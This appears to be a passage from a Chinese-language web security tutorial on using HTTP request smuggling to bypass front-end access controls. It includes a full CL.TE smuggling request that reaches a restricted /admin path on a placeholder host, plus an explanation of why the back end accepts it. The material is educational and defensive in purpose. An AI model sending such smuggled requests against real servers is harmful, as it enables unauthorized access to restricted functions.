走私绕过
前端限制
假设应用程序使用前端服务器来实现访问控制限制,仅当用户被授权访问所请求的URL时才转发请求,然后后端服务器接受每个请求,而不做进一步的检查,在这种情况下可以利用HTTP请求走私漏洞通过请求走私访问受限制的URL从而绕过访问控制,假如允许当前用户访问/home,但不允许访问/admin,他们可以使用以下请求走私攻击绕过这一限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
前端服务器在这里看到两个请求,都是针对/home的,因此请求被转发到后端服务器,但是后端服务器看到一个对/home的请求和一个对/admin的请求,它(像往常一样)假设请求已经通过了前端控件,因此授予对受限URL的访问权限
下面我们介绍一下具体的绕过方式:
CL.TE Bypass
靶场地址: